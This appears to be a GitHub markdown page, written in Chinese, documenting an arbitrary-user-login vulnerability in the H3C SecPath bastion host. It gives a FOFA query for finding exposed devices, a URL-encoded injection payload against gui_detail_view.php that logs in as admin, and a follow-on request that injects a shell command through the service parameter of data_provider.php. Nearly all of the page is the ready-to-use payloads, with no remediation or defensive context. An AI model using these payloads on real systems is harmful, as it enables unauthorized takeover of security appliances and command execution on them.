Skip to content

Latest commit

 

History

History
26 lines (17 loc) · 901 Bytes

H3C-SecParh堡垒机任意用户登录漏洞.md

File metadata and controls

26 lines (17 loc) · 901 Bytes

H3C-SecParh堡垒机任意用户登录漏洞

H3C SecParh堡垒机的get_detail_view.php中存在任意用户登录漏洞。攻击者可以构建一个恶意URL,利用该漏洞进行攻击。

fofa

app="H3C-SecPath-运维审计系统" && body="2018"

poc

/audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=admin

image

image

命令执行

通过任意用户登录或者账号密码进入后台才可以构造特殊的请求执行命令

https://IP地址:端口/audit/data_provider.php?ds_y=2019&ds_m=04&ds_d=02&ds_hour=09&ds_min40&server_cond=&service=$(pwd)&identity_cond=&query_type=all&format=json&browse=true